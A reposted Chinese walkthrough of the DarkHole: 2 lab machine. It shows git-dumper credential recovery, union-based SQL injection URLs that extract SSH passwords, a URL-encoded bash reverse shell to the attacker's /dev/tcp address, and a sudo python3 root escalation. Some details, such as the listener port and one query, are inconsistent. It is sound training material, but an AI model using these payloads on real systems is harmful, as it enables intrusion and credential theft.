1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > [渗透测试学习靶机05] vulnhub靶场 DarkHole: 2

[渗透测试学习靶机05] vulnhub靶场 DarkHole: 2

时间:2018-12-28 08:00:00

相关推荐

[渗透测试学习靶机05] vulnhub靶场 DarkHole: 2

kaliIP地址为192.168.127.139

靶机 IP地址为192.168.127.144

目录

一、信息搜集

1.1、扫描主机口

1.2、扫描端口

1.3、访问端口

1.4、扫描目录

二、枚举漏洞

2.1、进入目录

2.2、使用git-dumper分析git文件

2.2.1、直接用pip3安装

2.2.2、下载 git 文件夹内容:

2.2.3、切换到backup 文件,查看日志

2.2.4、获取账号,密码

2.3、进入网页的登陆页面

三、漏洞利用

3.1、SQL注入漏洞的利用

3.2、SSH登陆

四、提权

4.1、sudo提权

4.2、继续提权

4.3、获取losy的权限

4.4、获取root权限

总结:

一、信息搜集

1.1、扫描主机口

1.2、扫描端口

发现开放了 22(ssh)、80(http)端口

1.3、访问端口

访问80(http)端口,发现就是正常页面,点击login,就是下面的页面

1.4、扫描目录

扫描目录,可以发现.git 目录

二、枚举漏洞

2.1、进入目录

接着访问.git 目录:http://192.168.127.144/.git/

http://192.168.127.144/.git/

2.2、使用git-dumper分析git文件

2.2.1、直接用pip3安装

pip3 install -i https://pypi.tuna./simple --trusted-host pypi.tuna. git-dumper

2.2.2、下载 git 文件夹内容:

git-dumper http://192.168.127.144/.git/ backup

2.2.3、切换到backup 文件,查看日志

我们发现有三次提交,可以使用Diff查看提交的区别

2.2.4、获取账号,密码

从上面三次提交,我们可以找到账号:lush@ 密码:321

2.3、进入网页的登陆页面

三、漏洞利用

3.1、SQL注入漏洞的利用

刚刚登陆成功之后,同时可以看到 上方 URL 处 id=1,那么存在sql注入的可能性。

第一步:通过单引号或者and方法测试是否有注入

kobe'无回显结果。

kobe' and 1=1#正确

证明存在sql注入

第二步:order by猜解表中列数

http://192.168.127.144/dashboard.php?id=1' order by 7 -- -//报错http://192.168.127.144/dashboard.php?id=1' order by 6 ---//正常

第三步:测试回显位置

http://192.168.127.144/dashboard.php?id=1' union select 1,2,3,4,5,6 --

第四步:爆破数据库的名字

http://192.168.127.144/dashboard.php?id=-1' UNION SELECT 1,database(),3,4,5,6 -- -

获取数据库的名字:darkhole_2

第五步:爆破数据库的表名

http://192.168.127.144/dashboard.php?id=-1%27%20union%20select%201,2,3,4,5,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20--+1

第六步:爆破数据库里面的字段,因为要进入后台,我们选择爆ssh表字段。

http://192.168.127.144/dashboard.php?id=-1%27%20union%20select%201,2,3,4,5,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27ssh%27%20--+

第七步:爆破ssh表里面的数据

http://192.168.127.144/dashboard.php?id=-1' union select 1,2,3,4,5,group_concat(user,0x3a,pass) from ssh --+1

第八步:攻破获取账号密码成功

如图所示:得到 ssh 表中的用户和密码:

jehad:fool

当然也可以这样写SQL语句代码:

#爆表名http://192.168.127.144/dashboard.php?id=-1' UNION SELECT 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database() -- -#爆列名http://192.168.127.144/dashboard.php?id=-1' UNION SELECT 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema=database() and table_name='users'-- -#爆数据http://192.168.127.144/dashboard.php?id=-1' UNION SELECT 1,user,psas,4,5,6 ssh-- -

3.2、SSH登陆

尝试ssh 登陆,登陆成功

四、提权

4.1、sudo提权

登陆jehad的账号以后,查看当前用户可运行的命令或文件,结果没权限,还要切换其他具有sudo权限的用户继续进行提权

4.2、继续提权

cat /etc/passwd | grep "/bin/bash"

如图所示:具有 /bin/bash 的用户除了 root 外 有: lama, jehad, losy 。

查看 历史命令记录

cat .bash_history

发现本地有9999端口的服务。

查看 socket 统计信息

ss -antp

如图所示: 可以看到 127.0.0.1:9999 端口存在活动。

接着我们执行命令:

curl "http://127.0.0.1:9999/?cmd=id"

可以发现9999端口网站的用户是losy

4.3、获取losy的权限

重新连接登陆 ssh,将本地端口 9999 端口与远程主机端口映射,访问本地端口转发到远程主机

ssh jehad@192.168.127.144 -L 9999:localhost:9999

构造连接 kali 的命令

bash -c 'bash -i >& /dev/tcp/192.168.127.139/7777 0>&1'

使用 URL 编码

bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.127.139%2F7777%200%3E%261'

使用 nc 监听 6666端口,然后浏览器(也可直接用curl)访问:

http://127.0.0.1:9999/?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.127.139%2F7777%200%3E%261%27

curl http://127.0.0.1:9999/?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.127.139%2F7777%200%3E%261%27

成功拿到losy的权限

查看历史,看看losy的history都做了什么,在history中发现泄露密码等重要信息,以及存在python环境,和一段提权的执行代码

如图所示:在第 88 行 发现了账号密码: losy:gang, 最后只有密码也为: gang。

看到了:password: gang

ssh连接losy用户

4.4、获取root权限

losy是有sudo权限的

sudo -l查看命令

可以看到python3有root权限,我们直接 sudo 可以执行 python3 切换到 root shell

利用:

sudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

最终提权成功,查找信息,获取flag

总结:

本次靶机难度:高难度。本靶机涉及git 信息泄露漏洞,SQL 注入漏洞,系统配置漏洞等等

攻击的大体流程:

扫描出主机口nmap 扫出80端口存在.git目录用两个git信息收集脚本,用git-dumper工具分析git文件。通过git log git diff 查看git 历史提交记录和提交的差异 发现后台登录账号密码进入后台后通过url 处sql注入 注入出 ssh表的账号密码 登录jehad的 ssh通过 jehad的.bash_history 历史命令 发现 9999端口存在命令执行漏洞反弹losy shell成功losy 的 .bash_history 历史命令 发现 sudo -l 和密码 gang通过sudo -l 信息 用python3 切换至root shell。

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。